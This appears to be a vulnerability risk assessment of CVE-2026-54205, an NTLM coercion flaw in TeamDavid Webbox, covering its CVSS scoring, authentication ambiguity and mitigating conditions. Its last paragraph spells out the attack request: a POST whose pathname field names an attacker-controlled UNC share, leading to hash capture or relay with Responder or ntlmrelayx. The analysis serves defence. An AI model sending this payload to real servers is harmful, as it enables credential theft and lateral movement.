TeamDavid Webbox CVE-2026-54205

The vulnerable endpoint //ServerClient_celink.htm must be network-accessible, which is expected for a collaboration web platform. The description contains a direct contradiction on authentication: it calls the attackers 'authenticated' in one sentence but explicitly states the pathname parameter 'is possible without authentication' - this must be resolved with the vendor or the InfoGuard research disclosure. The CVSS 4.0 vector specifies PR:L, suggesting some low-privilege authentication may be required. Maximum impact requires outbound port 445 (SMB) to be unblocked from the server to attacker-controlled infrastructure, NTLM to be enabled on the server, and SMB signing to be unenforced on relay targets. Exploitation is substantially limited in environments where: outbound SMB is blocked at the perimeter (common in hardened enterprise networks), Kerberos-only authentication is enforced, or NTLMv1 is disabled and NTLMv2 relay mitigations (EPA, SMB signing) are in place.

The CVSS 4.0 score of 6.3 with vector AV:N/AC:L/AT:N/PR:L/UI:N/SC:H captures the network-accessible nature and high confidentiality impact on subsequent systems via NTLM relay, but the score alone understates operational risk in poorly hardened environments. A critical contradiction exists in the source data: the description initially references 'authenticated attackers' but explicitly states that 'Exploitation of the pathname parameter is possible without authentication' - if the unauthenticated path is valid, the CVSS PR:L metric is incorrect and real-world risk is materially higher than the score suggests. No EPSS score is available, and this CVE is not in CISA KEV at time of analysis. However, the NTLM coercion technique requires minimal attacker skill and is actively used in red-team tooling, meaning a motivated adversary who identifies exposed TeamDavid Webbox instances could operationalize this quickly. Environments permitting outbound SMB and lacking SMB signing enforcement are at highest risk of full lateral movement via credential relay without hash cracking. The SI:N assignment in the provided CVSS 4.0 vector likely underrepresents relay-enabled integrity impact on subsequent systems.

An attacker - potentially unauthenticated, per the contradictory description - sends an HTTP POST to //ServerClient_celink.htm with pathname=\\attacker-controlled-host\share. The TeamDavid server resolves the UNC path and initiates an SMB connection to the attacker's host, presenting NTLM credentials. If the attacker is running a tool such as Responder or ntlmrelayx and outbound port 445 is unblocked, they capture the server's NTLM hash for offline cracking or relay it in real time to internal services (Active Directory, file servers, Exchange) to authenticate as the server's service account, achieving lateral movement without credential cracking.